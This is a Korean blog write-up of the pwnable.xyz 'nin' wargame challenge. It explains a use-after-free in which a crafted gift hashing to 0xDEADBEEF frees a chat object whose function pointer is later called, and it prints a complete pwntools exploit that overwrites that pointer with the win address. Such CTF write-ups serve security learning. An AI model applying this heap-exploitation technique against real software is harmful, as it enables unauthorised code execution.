본문으로 바로가기

pwnable.xyz / nin

category Wargame/pwnable.xyz 2020. 5. 2. 02:20

복잡해 보이지만 쉬운 UAF 문제다.

 

우선 다음과 같은 구조체를 정의한다.

 

 

name은 이름을 가리키는 포인터를 나타내고, answer_func는 함수 포인터이다.

 

  obj_chat = NULL;
  
  while ( 1 )
  {
    memset(buf, 0, 0xFFuLL);
    printf("@you> ");
    read(0, buf, 0xFFuLL);
    buf_copy = strdup(buf);

    if ( !obj_chat )
      obj_chat = invite_reznor();

    obj_chat->answer_func(obj_chatbuf);
    free(buf_copy);
  }

 

do_chat 함수는 이렇게 생겼다. answer_func 함수 포인터를 사용하는 부분이 눈에 걸린다.

obj_chat가 0이면 invite_reznor 함수로 초기화를 한다.

 

chat *__fastcall invite_reznor()
{
  chat *obj_chat; // [rsp+8h] [rbp-8h]

  obj_chat = (chat *)malloc(0x20uLL);
  obj_chat->name = strdup("@trent");
  obj_chat->answer_func = answer_me;
  puts("@trent has entered #ota_chat");

  return obj_chat;
}

 

0x20 크기로 할당받고, answer_func에 answer_me 함수 주소를 넣는다.

 

  if ( !strcmp(buf"/gift\n")
    && (size = 0,
        puts("Oh you wanna bribe him?"),
        printf("Ok, how expensive will your gift be: "),
        __isoc99_scanf("%ud", &size),
        size) )
  {
    gift = (char *)malloc(size + 1);
    memset(gift, 0, size + 1);
    printf("Enter your gift: ");
    read(0, giftsize);
    gift_hashed = hash_gift((uint8_t *)giftsize);
    printf("Trent doesn't look impressed and swallows %p\n"gift_hashed);

    if ( gift_hashed == 0xDEADBEEF )
    {
      puts("The color of his head turns blue...");
      puts("Trent Reznor flips the table and raqequits...");
      puts("@trent has left #ota_chat (Client disconnected...)");
      free(obj_chat->name);
      free(obj_chat);
    }
    else
    {
      printf("Didn't seem to be tasty...\n"gift_hashed);
    }
  }
  else
  {
    msg = answers[rand() % 10];
    printf("@trent> %s\n"msg);
  }

 

answer_me 함수는 위처럼 생겼다. /gift 를 입력하면 obj_chat->name과 obj_chat을 free 할 수 있다. 이 free를 실행시키는 조건은 gift_hashed == 0xDEADBEEF 이다.

 

uint64_t __fastcall hash_gift(uint8_t *gift, int size)
{
  int i; // [rsp+14h] [rbp-18h]
  int j; // [rsp+18h] [rbp-14h]
  uint64_t x; // [rsp+1Ch] [rbp-10h]
  uint64_t y; // [rsp+24h] [rbp-8h]

  x = 0LL;
  y = 0LL;

  for ( i = 0; i < size / 2; ++i )
    x += gift[i];

  for ( j = size / 2; j < size; ++j )
    y += gift[j];

  return y | (x << 16);
}

 

hash_gift는 gift를 절반으로 쪼개서, 앞 부분과 뒷 부분의 바이트 값의 합을 상위/하위 2바이트에 나눠 저장하고 반환하는 함수다.

 

gift_hashed가 0xDEADBEEF가 되도록 입력값을 설정하고 실행시킨 뒤의 fastbin 상태는 아래와 같다.

 

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x7c0000 --> 0x7c0050 --> 0x0
(0x30)     fastbin[1]: 0x7c0020 --> 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x7c0240 (size : 0x20dc0)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0

 

0x20 chunk 2개는 strdup에서 만들어진 것이고, 0x30 chunk는 obj_chat 가 가리키는 영역이다.

다시 do_chat을 살펴보면, answer_me에서 obj_chat가 free되어도 do_chat에서 obj_chat가 0이 되지는 않는다. 즉 answer_me에서 obj_chat가 free된 이후 obj_chat->answer_func를 실행하는 것이 UAF라는 의미다.

answer_me 함수에서 /gift 를 다시 입력하고, 0x30 크기의 chunk를 만든 뒤 answer_func 자리에 win 주소를 쓰면 풀린다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
import argparse

def itob(i) :
    return str(i).encode()

def send(msg:bytes) :
    p.writeafter(b'you> ', msg)

def gift(size:intgift:bytes) :
    p.writeafter(b'you> 'b'/gift\n')
    p.writelineafter(b': ', itob(size))
    p.writeafter(b': ', gift)

def exploit() :
    payload = b'\xFF'*223 + b'\x8C'   # dead
    payload += b'\xDB'*223 + b'\x2a'   # beef

    gift(448, payload)
    gift(0x20b'A'*8 + p64(0x400CAE))   # win
    send(b'A')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30034)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/2/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / words  (0) 2020.05.05
pwnable.xyz / notebook  (0) 2020.05.03
pwnable.xyz / Dirty Turtle  (0) 2020.05.01
pwnable.xyz / Hero Factory  (0) 2020.05.01
pwnable.xyz / note v2  (0) 2020.05.01